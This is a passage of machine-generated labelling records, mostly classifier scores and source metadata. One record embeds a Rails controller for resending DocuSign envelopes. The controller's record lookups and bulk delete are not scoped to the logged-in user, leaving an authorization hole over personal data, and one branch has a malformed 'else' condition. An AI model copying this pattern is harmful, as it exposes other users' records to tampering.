"Law & Crime": 0.00854884009006569, "Education & Careers": 0.0003647986539931615, "Entertainment & Media": 0.0003500604416550865, "Fashion & Beauty": 0.000181154116872768, "Business, Economics & Finance": 0.0004985032011397906, "Food & Dining": 0.0001637352116055909, "Games & Gaming": 0.000347353143625, "Electronics & Hardware": 0.0006765853089294665, "Health, Healthcare & Wellness": 0.0002247257844346421, "History & Geography": 0.00022524975206478448, "Home, Pets & Hobbies": 0.0001973340493737837, "Industry & Production": 0.0001572777157565559, "Language, Literature & Philosophy": 0.000488395284214312, "Politics & Government": 0.0002205282552026798, "Religion & Spirituality": 0.0002743735995211912, "Science, Mathematics & Engineering": 0.009996017418957323, "Relationships & Community": 0.00011877080459703417, "Software Usage & Applications": 0.00802109469853311, "Programming & Software Engineering": 0.02928923210214269, "Sports & Fitness": 0.0002063942920730624, "Vehicles & Transportation": 9.183136429439007e-05, "Travel & Tourism": 0.0003075820301373186, "Other / Uncovered Subject": 0.0008509093798416161, "NONE": 0.937266609216368}}, "probability_diagnostics": {"primary": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 0.9999999999999998, "mass_delta": -2.220446049250313e-16, "missing_mass": 2.220446049250313e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 14944, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 14944, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:29:08.454095+00:00", "scoring_key_slot": "assistant_1", "dataset_uid": "67ea1a10-5f06-4076-a84c-e4e02f34beb7", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "79be09795c4172a3b37656e9471e7557bf75eeb37e37183b560c85e73587d5b1", "source_metadata": {"uuid": "67ea1a10-5f06-4076-a84c-e4e02f34beb7", "repo_name": "rapid7/metasploit-framework", "relative_path": "lib/rbmysql/protocol.rb", "category": "TOOL", "algo_rel_score": 0.7089648246765137, "quality_score": 3.6806116104125977, "source_meta": {"github_metadata": {"branch": "master", "commit_count": 77937, "repo_created_at": "2011-08-30T06:13:20.000Z", "is_fork": false, "is_org_owned": true, "forked_from": null, "stars": 35931, "forks": 14409, "issues": 435, "pull_requests": 31}, "file_meta": {"content_id": "01f76e3ada3514e6ba34d82d187bb8f51b02356e", "size_bytes": 23583, "file_timestamp": 1752758915, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "b6a04c2b9772f89dc9184ddf04ce3fd5bea24d1b"}}, "parsed_source_meta": {"github_metadata": {"branch": "master", "commit_count": 77937, "repo_created_at": "2011-08-30T06:13:20.000Z", "is_fork": false, "is_org_owned": true, "forked_from": null, "stars": 35931, "forks": 14409, "issues": 435, "pull_requests": 31}, "file_meta": {"content_id": "01f76e3ada3514e6ba34d82d187bb8f51b02356e", "size_bytes": 23583, "file_timestamp": 1752758915, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "b6a04c2b9772f89dc9184ddf04ce3fd5bea24d1b", "url": "https://github.com/rapid7/metasploit-framework/blob/b6a04c2b9772f89dc9184ddf04ce3fd5bea24d1b/lib/rbmysql/protocol.rb"}, "gpt4o_tokens": 6181, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 1.207510545334624, "noise_severity": 0.08862518223792835, "missing_content_severity": 0.022298795774396266, "factual_density": 3.536105376455666, "pretraining_utility": 0.6781880722414257, "math_density": 0.6307690973181524, "code_density": 3.896934564630129, "reasoning_density": 0.7000282625645751, "education_level": 3.0143987221012973, "creative_writing_quality": -0.16562752964815244}, "score_applicability": {"education_level": 0.9992119012748965, "creative_writing_quality": 0.00048463321955954605}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/greylable/docusignapp/blob/0e5ffc60979022e427fe0972c21173e05db0d8cf/app/controllers/resendenvs_controller.rb", "id": "ruby-0-a80ee7fa7e50ea5a767a5aa7dc1c67dc", "text": "class ResendenvsController < ApplicationController\n before_action :authenticate_user!\n before_action :set_resendenv, only: [:destroy, :edit, :update]\n\n def index\n @resendenvs = current_user.resendenvs\n end\n\n def import\n if params[:file].present?\n Resendenv.import(params[:file], current_user)\n redirect_to resendenvs_path, notice: 'Activity Data Imported!'\n else\n redirect_to new_resendenv_path, notice: 'Please Upload a File'\n end\n end\n\n def new\n @resendenv = current_user.resendenvs.new\n end\n\n def create\n @resendenv = current_user.resendenvs.new(resendenvs_params)\n if @resendenv.save!\n redirect_to resendenvs_path, notice: 'Resend Envelope Request Created Successfully!'\n else\n render :new\n end\n end\n\n def edit\n end\n\n def update\n if @resendenv.update(resendenvs_params)\n redirect_to resendenvs_path, notice: 'Resend Envelope Request Updated Successfully!'\n else\n render :edit\n end\n end\n\n def destroy\n @resendenv.destroy\n redirect_to resendenvs_path, notice: 'Resend Envelope Request Deleted Successfully!'\n end\n\n def select_multiple\n\n if params[:commit] == \"Delete selected\"\n if params[:resendenv_ids].blank?\n redirect_to resendenvs_path, notice: 'No envelopes selected'\n else\n @resendenv_hash = params[:resendenv_ids]\n @array_try = []\n @resendenv_hash.each { |k,v| @array_try.push(k)}\n Resendenv.where(id: @array_try).destroy_all\n respond_to do |format|\n format.html { redirect_to resendenvs_path, notice: 'Resend Envelope Request Deleted Successfully!' }\n format.json { head :no_content }\n end\n end\n\n elsif params[:commit] == \"Resend selected\"\n puts 'Sending out these envelopes tentatively'\n if params[:resendenv_ids].blank?\n redirect_to resendenvs_path, notice: 'No envelopes selected'\n else\n @resendenv_hash = params[:resendenv_ids]\n @array_try = []\n\n @resendenv_hash.each { |k,v| @array_try.push(k)}\n @resendenvs = current_user.resendenvs.where(id: @array_try)\n @resent_array = Resendenv.resend_env(@resendenvs)\n Resendenv.where(id: @resent_array).destroy_all\n respond_to do |format|\n format.html { redirect_to resendenvs_path, notice: 'Envelope Resent Successfully!' }\n format.json { head :no_content }\n end\n end\n\n elsif params[:commit] == \"Email blurb\"\n if params[:resendenv_ids].blank?\n redirect_to resendenvs_path, notice: 'No envelopes selected'\n else\n @resendenv_hash = params[:resendenv_ids]\n @array_try = []\n @resendenv_hash.each { |k,v| @array_try.push(k)}\n @resendenvs = current_user.resendenvs.where(id: @array_try)\n if params[:file].present?\n Resendenv.import_msg(@resendenvs, params[:file], current_user)\n respond_to do |format|\n format.html { redirect_to resendenvs_path, notice: 'Email Blurb Uploaded!' }\n format.json { head :no_content }\n end\n else\n redirect_to resendenvs_path, notice: 'Please Upload a File'\n end\n end\n\n else params[:commit] == \"Fetch selected\"\n puts 'Fetching these envelopes tentatively'\n if params[:resendenv_ids].blank?\n redirect_to resendenvs_path, notice: 'No envelopes selected'\n else\n @resendenv_hash = params[:resendenv_ids]\n @array_try = []\n @resendenv_hash.each { |k,v| @array_try.push(k)}\n @resendenvs = current_user.resendenvs.where(id: @array_try)\n Resendenv.fetch_info(@resendenvs, current_user)\n respond_to do |format|\n format.html { redirect_to resendenvs_path, notice: 'Envelope Information Fetched Successfully!' }\n format.json { head :no_content }\n end\n end\n end\n\n end\n\n private\n\n def set_resendenv\n @resendenv = Resendenv.find(params[:id])\n end\n\n def resendenvs_params\n params.require(:resendenv).permit(:envelope_id, :email, :rental, :name, :nric, :mailing_address, :driver_phone_no, :birthday, :pickup_date,\n :vehicle_make, :vehicle_model, :vehicle_colour, :licence_plate, :master_rate, :weekly_rate,\n :min_rental_period, :deposit, :accesscode, :note, :email_blurb)\n end\n\nend\n\n", "text_preview": "class ResendenvsController < ApplicationController before_action :authenticate_user! before_action :set_resendenv, only: [:destroy, :edit, :update] def index @resendenvs = current_user.resendenvs end def import if params[:file].present? Res", "input_sha256": "2e7f25e9fb604968bdb0355a7d705fd74c90a1c689c7c1b3d5563b0da2c6a34d", "text_sha256": "a80ee7fa7e50ea5a767a5aa7dc1c67dcd281a0d58c9b161a3e738650f4347bd1", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16006, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 0, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 2, "creative_writing_quality": null}, "score_expectations": {"content_quality": 0.5271803143791669, "noise_severity": 0.023291698275794408, "missing_content_severity": 0.022592221402318424, "factual_density": 3.263006196390253, "pretraining_utility": 0.32995296668940827, "math_density": 0.0038268727616478032, "code_density": 3.9055552282333217, "reasoning_density": 0.29844434941636294, "education_level": 2.228796505023923, "creative_writing_quality": -0.45727493258015534}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "2", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.005780375618939182, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.99581303585778, "secondary": 0.9884946086286165, "tertiary": 0.99452630492664, "structured_records": 0.006566749756966548, "procedural_steps": 0.00483527123669578, "worked_solution": 0.0027094858190448543, "contextual_dialogue": 7.847429109587085e-06, "content_quality": 0.3998593936466963, "noise_severity": 0.980590251436838, "missing_content_severity": 0.9811731488314013, "factual_density": 0.38583849699187744, "pretraining_utility": 0.478611638790688, "math_density": 0.9968109393652935, "code_density": 0.9212960235277684, "reasoning_density": 0.7512963754863643, "education_level": 0.6815544396333957, "creative_writing_quality": 0.9991314711525662, "primary_topic": 0.9779176068354437, "secondary_topic": 0.8981643279695837}, "probability_margin": {"primary": 0.993632413040446, "secondary": 0.9823794444529023, "tertiary": 0.992143833203887, "education_level": 0.5106058847393764, "creative_writing_quality": 0.9989645917929565, "primary_topic": 0.9705334887379591, "secondary_topic": 0.8682434455289654}, "raw_probabilities": {"primary": {"Academic Writing": 4.082109049618461e-05, "Content Listing": 3.745453724531933e-05, "Creative Writing": 2.3204719715192662e-05, "Customer Support Page": 1.5027504861300654e-05, "Q&A Forum": 1.835808981802885e-05, "Discussion Thread": 1.0291377179486314e-05, "Comment Section": 1.872300952932952e-05, "Missing Content": 5.3744785635016975e-05, "Knowledge Article": 9.987038276943437e-05, "Legal Notices": 5.6013659746429316e-05, "News Article": 5.813458293434369e-06, "Organizational Announcement": 1.5816066690421468e-05, "Nonfiction Writing": 1.4720882715143703e-05, "Organizational About Page": 1.52616063607344e-05, "Personal About Page": 1.4916042638299639e-05, "Personal Blog": 9.136438573577256e-06, "Product Page": 1.0710962134926627e-05, "Spam / Ads": 1.5057020552666438e-05, "Structured Data": 0.0008800910801030653, "Technical Writing": 0.9959874926970392, "Transcript / Interview": 2.1012245301194414e-05, "Tutorial / How-To Guide": 0.0002735755746236237, "User Reviews": 7.807111384872175e-06, "Other / Unknown": 0.0023550796565931877}, "secondary": {"Academic Writing": 7.553502030627213e-05, "Content Listing": 8.018243791418247e-05, "Creative Writing": 5.8554822022644976e-05, "Customer Support Page": 3.960355263731442e-05, "Q&A Forum": 2.5372718322998418e-05, "Discussion Thread": 2.038453847299201e-05, "Comment Section": 5.057305818301676e-05, "Missing Content": 0.0002295999423787149, "Knowledge Article": 0.00019477106155551123, "Legal Notices": 8.697854808592598e-05, "News Article": 3.488185067493532e-05, "Organizational Announcement": 3.493321778194059e-05, "Nonfiction Writing": 2.87633292034385e-05, "Organizational About Page": 4.205716957765021e-05, "Personal About Page": 3.2161615803615815e-05, "Personal Blog": 2.9475058579067722e-05, "Product Page": 2.282355920344377e-05, "Spam / Ads": 4.2679729434027526e-05, "Structured Data": 0.002893321627296806, "Technical Writing": 0.006594555482855204, "Transcript / Interview": 4.786006081859636e-05, "Tutorial / How-To Guide": 0.0003431226709161263, "User Reviews": 1.7808992218067517e-05, "NONE": 0.9889739999357575}, "tertiary": {"Academic Writing": 4.3908763306414366e-05, "Content Listing": 9.786905901932204e-05, "Creative Writing": 5.359325759122587e-05, "Customer Support Page": 3.435667973624786e-05, "Q&A Forum": 1.8835038857309777e-05, "Discussion Thread": 1.5778989567958464e-05, "Comment Section": 5.420023308829209e-05, "Missing Content": 0.00027460388288873906, "Knowledge Article": 0.0001522164820481782, "Legal Notices": 0.00010808505241466093, "News Article": 2.9532976148740427e-05, "Organizational Announcement": 3.0500776944996423e-05, "Nonfiction Writing": 3.162959861518789e-05, "Organizational About Page": 4.5316944648820285e-05, "Personal About Page": 2.254334234754915e-05, "Personal Blog": 2.397670913407852e-05, "Product Page": 2.169396014662243e-05, "Spam / Ads": 3.59645841637424e-05, "Structured Data": 0.0012183539088140422, "Technical Writing": 0.0026105423508096253, "Transcript / Interview": 3.505281928582735e-05, "Tutorial / How-To Guide": 0.0002726241499119894, "User Reviews": 1.444488581376473e-05, "NONE": 0.9947543755546966}, "structured_records": {"false": 0.9934332502430334, "true": 0.006566749756966548}, "procedural_steps": {"false": 0.9951647287633042, "true": 0.00483527123669578}, "worked_solution": {"false": 0.9972905141809552, "true": 0.0027094858190448543}, "contextual_dialogue": {"false": 0.9999921525708904, "true": 7.847429109587085e-06}, "content_quality": {"-2": 0.017195307815414746, "-1": 0.09965856580782108, "0": 0.34559115156051234, "1": 0.41388045381468624, "2": 0.12367452100156563}, "noise_severity": {"0": 0.980981046462797, "1": 0.015970722376308342, "2": 0.002187087686101343, "3": 0.0004977733718894566, "4": 0.0003633701029037515}, "missing_content_severity": {"0": 0.9869601075139961, "1": 0.005909949104224964, "2": 0.0051291125922301095, "3": 0.0015792760445628876, "4": 0.00042155474498614627}, "factual_density": {"0": 0.009363029358904507, "1": 0.015577949958017326, "2": 0.13324361938329615, "3": 0.38632059753348474, "4": 0.45549480376629714}, "pretraining_utility": {"-2": 0.01086992148596667, "-1": 0.1261166904089497, "0": 0.43990219515876533, "1": 0.3684128858223452, "2": 0.05469830712397306}, "math_density": {"0": 0.9982507859984618, "1": 0.0009209542627400268, "2": 0.00014372259613543067, "3": 0.00011967526401312985, "4": 0.0005648618786493812}, "code_density": {"0": 0.00021778658478074445, "1": 0.0003952791020623301, "2": 0.011187277044380958, "3": 0.07001323403260602, "4": 0.9181864232361701}, "reasoning_density": {"0": 0.8207351430551371, "1": 0.08126789143839613, "2": 0.08219096360584312, "3": 0.0104294768362137, "4": 0.005376525064409849}, "education_level": {"none": 0.001429037686644102, "0": 0.0019243122648506252, "1": 0.022564971675841466, "2": 0.7346286996944964, "3": 0.22402281495512, "4": 0.015430163723047282}, "creative_writing_quality": {"not_applicable": 0.9992762259604718, "-2": 0.00011859083407062978, "-1": 0.0002053918849764595, "0": 0.0003116341675153255, "1": 6.470447794225454e-05, "2": 2.3452675023481374e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 6.421165603928397e-05, "Art & Design": 9.681954005985596e-05, "Law & Crime": 0.00018687673658532013, "Education & Careers": 9.88585887505465e-05, "Entertainment & Media": 6.788699763877978e-05, "Fashion & Beauty": 8.406999469924502e-05, "Business, Economics & Finance": 0.004884963172541166, "Food & Dining": 0.00014370512558648866, "Games & Gaming": 0.00010074314287171505, "Electronics & Hardware": 0.0001382031636599648, "Health, Healthcare & Wellness": 9.032081452718037e-05, "History & Geography": 6.03747921655804e-05, "Home, Pets & Hobbies": 0.00016399452593413217, "Industry & Production": 9.174154178567327e-05, "Language, Literature & Philosophy": 8.172024377855387e-05, "Politics & Government": 6.187843277652269e-05, "Religion & Spirituality": 6.458536652038954e-05, "Science, Mathematics & Engineering": 0.00014622849046754804, "Relationships & Community": 6.733194690984778e-05, "Software Usage & Applications": 0.008233440911506, "Programming & Software Engineering": 0.9787669296494651, "Sports & Fitness": 9.06881138156113e-05, "Vehicles & Transportation": 0.002857722901397408, "Travel & Tourism": 0.00012291533906916277, "Other / Uncovered Subject": 0.002903608696473013, "Unknown / Insufficient Content": 0.0003301801149758211}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0005380133676159825, "Art & Design": 0.000509784664497353, "Law & Crime": 0.00168575363726162, "Education & Careers": 0.0004326492443941448, "Entertainment & Media": 0.0005064249349280495, "Fashion & Beauty": 0.0003355032067985992, "Business, Economics & Finance": 0.019958572765146766, "Food & Dining": 0.0003771039924334873, "Games & Gaming": 0.0003908829805742968, "Electronics & Hardware": 0.0004363778524465966, "Health, Healthcare & Wellness": 0.0003718118753291761, "History & Geography": 0.00023012608814954383, "Home, Pets & Hobbies": 0.00040885307307996475, "Industry & Production": 0.00025143334778890696, "Language, Literature & Philosophy": 0.00021922146714387593, "Politics & Government": 0.00030423712626397395, "Religion & Spirituality": 0.00028471682928225004, "Science, Mathematics & Engineering": 0.0004067872883793132, "Relationships & Community": 0.00021842626734098553, "Software Usage & Applications": 0.03383763905717279, "Programming & Software Engineering": 0.024497426916539042, "Sports & Fitness": 0.00028676988140044686, "Vehicles & Transportation": 0.007612180139888769, "Travel & Tourism": 0.0003161992575702449, "Other / Uncovered Subject": 0.0035020201524357127, "NONE": 0.9020810845861381}}, "probabilities": {"primary": {"Academic Writing": 4.082109049618461e-05, "Content Listing": 3.745453724531933e-05, "Creative Writing": 2.3204719715192662e-05, "Customer Support Page": 1.5027504861300654e-05, "Q&A Forum": 1.835808981802885e-05, "Discussion Thread": 1.0291377179486314e-05, "Comment Section": 1.872300952932952e-05, "Missing Content": 5.3744785635016975e-05, "Knowledge Article": 9.987038276943437e-05, "Legal Notices": 5.6013659746429316e-05, "News Article": 5.813458293434369e-06, "Organizational Announcement": 1.5816066690421468e-05, "Nonfiction Writing": 1.4720882715143703e-05, "Organizational About Page": 1.52616063607344e-05, "Personal About Page": 1.4916042638299639e-05, "Personal Blog": 9.136438573577256e-06, "Product Page": 1.0710962134926627e-05, "Spam / Ads": 1.5057020552666438e-05, "Structured Data": 0.0008800910801030653, "Technical Writing": 0.9959874926970392, "Transcript / Interview": 2.1012245301194414e-05, "Tutorial / How-To Guide": 0.0002735755746236237, "User Reviews": 7.807111384872175e-06, "Other / Unknown": 0.0023550796565931877}, "secondary": {"Academic Writing": 7.553502030627213e-05, "Content Listing": 8.018243791418247e-05, "Creative Writing": 5.8554822022644976e-05, "Customer Support Page": 3.960355263731442e-05, "Q&A Forum": 2.5372718322998418e-05, "Discussion Thread": 2.038453847299201e-05, "Comment Section": 5.057305818301676e-05, "Missing Content": 0.0002295999423787149, "Knowledge Article": 0.00019477106155551123, "Legal Notices": 8.697854808592598e-05, "News Article": 3.488185067493532e-05, "Organizational Announcement": 3.493321778194059e-05, "Nonfiction Writing": 2.87633292034385e-05, "Organizational About Page": 4.205716957765021e-05, "Personal About Page": 3.2161615803615815e-05, "Personal Blog": 2.9475058579067722e-05, "Product Page": 2.282355920344377e-05, "Spam / Ads": 4.2679729434027526e-05, "Structured Data": 0.002893321627296806, "Technical Writing": 0.006594555482855204, "Transcript / Interview": 4.786006081859636e-05, "Tutorial / How-To Guide": 0.0003431226709161263, "User Reviews": 1.7808992218067517e-05, "NONE": 0.9889739999357575}, "tertiary": {"Academic Writing": 4.390876330641437e-05, "Content Listing": 9.786905901932206e-05, "Creative Writing": 5.3593257591225876e-05, "Customer Support Page": 3.435667973624787e-05, "Q&A Forum": 1.883503885730978e-05, "Discussion Thread": 1.5778989567958467e-05, "Comment Section": 5.42002330882921e-05, "Missing Content": 0.0002746038828887391, "Knowledge Article": 0.00015221648204817822, "Legal Notices": 0.00010808505241466094, "News Article": 2.953297614874043e-05, "Organizational Announcement": 3.0500776944996426e-05, "Nonfiction Writing": 3.1629598615187894e-05, "Organizational About Page": 4.531694464882029e-05, "Personal About Page": 2.2543342347549155e-05, "Personal Blog": 2.3976709134078524e-05, "Product Page": 2.1693960146622433e-05, "Spam / Ads": 3.5964584163742406e-05, "Structured Data": 0.0012183539088140424, "Technical Writing": 0.0026105423508096257, "Transcript / Interview": 3.5052819285827354e-05, "Tutorial / How-To Guide": 0.00027262414991198946, "User Reviews": 1.4444885813764732e-05, "NONE": 0.9947543755546967}, "structured_records": {"false": 0.9934332502430334, "true": 0.006566749756966548}, "procedural_steps": {"false": 0.9951647287633042, "true": 0.00483527123669578}, "worked_solution": {"false": 0.9972905141809552, "true": 0.0027094858190448543}, "contextual_dialogue": {"false": 0.9999921525708904, "true": 7.847429109587085e-06}, "content_quality": {"-2": 0.017195307815414746, "-1": 0.09965856580782108, "0": 0.34559115156051234, "1": 0.41388045381468624, "2": 0.12367452100156563}, "noise_severity": {"0": 0.9809810464627972, "1": 0.015970722376308345, "2": 0.0021870876861013436, "3": 0.0004977733718894567, "4": 0.00036337010290375156}, "missing_content_severity": {"0": 0.9869601075139959, "1": 0.005909949104224962, "2": 0.005129112592230109, "3": 0.0015792760445628871, "4": 0.00042155474498614616}, "factual_density": {"0": 0.009363029358904509, "1": 0.015577949958017328, "2": 0.13324361938329618, "3": 0.3863205975334848, "4": 0.4554948037662972}, "pretraining_utility": {"-2": 0.01086992148596667, "-1": 0.1261166904089497, "0": 0.43990219515876533, "1": 0.3684128858223452, "2": 0.05469830712397306}, "math_density": {"0": 0.9982507859984621, "1": 0.000920954262740027, "2": 0.0001437225961354307, "3": 0.00011967526401312988, "4": 0.0005648618786493813}, "code_density": {"0": 0.0002177865847807444, "1": 0.00039527910206233, "2": 0.011187277044380956, "3": 0.07001323403260601, "4": 0.9181864232361698}, "reasoning_density": {"0": 0.8207351430551372, "1": 0.08126789143839615, "2": 0.08219096360584313, "3": 0.010429476836213702, "4": 0.00537652506440985}, "education_level": {"none": 0.0014290376866441022, "0": 0.0019243122648506254, "1": 0.02256497167584147, "2": 0.7346286996944965, "3": 0.22402281495512003, "4": 0.015430163723047284}, "creative_writing_quality": {"not_applicable": 0.9992762259604718, "-2": 0.00011859083407062978, "-1": 0.0002053918849764595, "0": 0.0003116341675153255, "1": 6.470447794225454e-05, "2": 2.3452675023481374e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 6.421165603928399e-05, "Art & Design": 9.681954005985598e-05, "Law & Crime": 0.00018687673658532015, "Education & Careers": 9.885858875054652e-05, "Entertainment & Media": 6.78869976387798e-05, "Fashion & Beauty": 8.406999469924503e-05, "Business, Economics & Finance": 0.004884963172541167, "Food & Dining": 0.00014370512558648868, "Games & Gaming": 0.00010074314287171506, "Electronics & Hardware": 0.00013820316365996483, "Health, Healthcare & Wellness": 9.032081452718038e-05, "History & Geography": 6.037479216558041e-05, "Home, Pets & Hobbies": 0.0001639945259341322, "Industry & Production": 9.174154178567328e-05, "Language, Literature & Philosophy": 8.172024377855389e-05, "Politics & Government": 6.18784327765227e-05, "Religion & Spirituality": 6.458536652038955e-05, "Science, Mathematics & Engineering": 0.00014622849046754807, "Relationships & Community": 6.73319469098478e-05, "Software Usage & Applications": 0.008233440911506002, "Programming & Software Engineering": 0.9787669296494652, "Sports & Fitness": 9.068811381561131e-05, "Vehicles & Transportation": 0.0028577229013974086, "Travel & Tourism": 0.0001229153390691628, "Other / Uncovered Subject": 0.0029036086964730136, "Unknown / Insufficient Content": 0.00033018011497582114}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0005380133676159825, "Art & Design": 0.000509784664497353, "Law & Crime": 0.00168575363726162, "Education & Careers": 0.0004326492443941448, "Entertainment & Media": 0.0005064249349280495, "Fashion & Beauty": 0.0003355032067985992, "Business, Economics & Finance": 0.019958572765146766, "Food & Dining": 0.0003771039924334873, "Games & Gaming": 0.0003908829805742968, "Electronics & Hardware": 0.0004363778524465966, "Health, Healthcare & Wellness": 0.0003718118753291761, "History & Geography": 0.00023012608814954383, "Home, Pets & Hobbies": 0.00040885307307996475, "Industry & Production": 0.00025143334778890696, "Language, Literature & Philosophy": 0.00021922146714387593, "Politics & Government": 0.00030423712626397395, "Religion & Spirituality": 0.00028471682928225004, "Science, Mathematics & Engineering": 0.0004067872883793132, "Relationships & Community": 0.00021842626734098553, "Software Usage & Applications": 0.03383763905717279, "Programming & Software Engineering": 0.024497426916539042, "Sports & Fitness": 0.00028676988140044686, "Vehicles & Transportation": 0.007612180139888769, "Travel & Tourism": 0.0003161992575702449, "Other / Uncovered Subject": 0.0035020201524357127, "NONE": 0.9020810845861381}}, "probability_diagnostics": {"primary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 0.9999999999999998, "mass_delta": -2.220446049250313e-16, "missing_mass": 2.220446049250313e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, 